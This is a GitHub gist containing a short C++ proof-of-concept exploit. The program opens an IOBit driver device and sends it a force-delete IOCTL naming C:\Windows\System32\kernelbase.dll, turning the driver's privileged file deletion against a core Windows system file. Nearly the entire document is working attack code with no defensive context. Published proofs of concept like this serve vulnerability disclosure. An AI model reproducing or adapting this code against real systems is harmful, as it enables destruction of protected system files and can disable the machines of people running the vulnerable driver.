Skip to content

Instantly share code, notes, and snippets.

@alfarom256
Created January 6, 2025 22:54
Show Gist options
  • Select an option

  • Save alfarom256/f1342f14dc6a742de7ea4004a1b6d7ed to your computer and use it in GitHub Desktop.

Select an option

Save alfarom256/f1342f14dc6a742de7ea4004a1b6d7ed to your computer and use it in GitHub Desktop.

Revisions

  1. alfarom256 created this gist Jan 6, 2025.
    48 changes: 48 additions & 0 deletions IOBitStillSucks.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,48 @@
    #include <Windows.h>
    #include <stdio.h>

    const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
    const char* strDeviceName = R"(\\.\IMFForceDelete123)";

    int main() {
    DWORD dwReturnVal = 0;
    DWORD dwBytesReturned = 0;
    BOOL bRes = FALSE;


    HANDLE hDevice = CreateFileA(
    strDeviceName,
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
    );

    puts("Opened handle to device");

    if (!hDevice || hDevice == INVALID_HANDLE_VALUE){ // lol I forgot which one it is oh well
    return GetLastError();
    }

    bRes = DeviceIoControl(
    hDevice,
    0x8016E000,
    (LPVOID)wstrDummyFile,
    lstrlenW(wstrDummyFile) * sizeof(wchar_t),
    &dwReturnVal,
    sizeof(DWORD),
    &dwBytesReturned,
    NULL
    );

    if (!(bRes && dwReturnVal)) {
    puts("Delete failed");
    CloseHandle(hDevice);
    return GetLastError();
    }

    puts("Deleted target");
    return 0;
    }